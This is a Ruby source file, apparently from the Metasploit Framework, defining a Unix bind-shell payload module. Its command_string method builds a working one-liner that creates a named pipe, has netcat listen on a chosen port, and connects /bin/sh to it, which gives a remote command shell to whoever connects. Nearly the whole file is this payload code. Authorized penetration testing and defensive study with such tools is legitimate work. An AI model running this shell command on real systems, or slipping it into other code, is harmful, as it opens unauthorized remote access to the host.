61 lines
1.7 KiB
Ruby
61 lines
1.7 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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module MetasploitModule
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CachedSize = :dynamic
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include Msf::Payload::Single
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include Msf::Sessions::CommandShellOptions
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'Unix Command Shell, Bind TCP (via netcat)',
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'Description' => 'Listen for a connection and spawn a command shell via netcat',
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'Author' =>
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[
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'm-1-k-3',
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'egypt',
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'juan vazquez'
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],
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'License' => MSF_LICENSE,
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Handler' => Msf::Handler::BindTcp,
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'Session' => Msf::Sessions::CommandShell,
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'netcat',
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'Payload' =>
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{
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'Offsets' => { },
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'Payload' => ''
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}
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))
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register_advanced_options(
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[
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OptString.new('NetcatPath', [true, 'The path to the Netcat executable', 'nc']),
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OptString.new('ShellPath', [true, 'The path to the shell to execute', '/bin/sh'])
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]
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)
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end
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#
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# Constructs the payload
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#
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def generate(_opts = {})
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vprint_good(command_string)
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return super + command_string
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end
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#
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# Returns the command string to use for execution
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#
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def command_string
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backpipe = Rex::Text.rand_text_alpha_lower(4+rand(4))
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"mkfifo /tmp/#{backpipe}; (#{datastore['NetcatPath']} -l -p #{datastore['LPORT']} ||#{datastore['NetcatPath']} -l #{datastore['LPORT']})0</tmp/#{backpipe} | #{datastore['ShellPath']} >/tmp/#{backpipe} 2>&1; rm /tmp/#{backpipe}"
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end
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end
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